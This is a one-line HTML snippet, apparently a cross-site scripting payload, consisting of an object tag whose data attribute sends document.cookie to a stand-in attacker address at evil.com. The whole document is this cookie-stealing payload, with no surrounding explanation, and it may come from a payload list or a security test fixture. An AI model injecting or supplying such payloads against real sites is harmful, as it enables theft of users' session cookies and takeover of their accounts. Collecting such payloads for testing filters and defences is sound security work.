<object data='https://evil.com/steal?cookie='+document.cookie>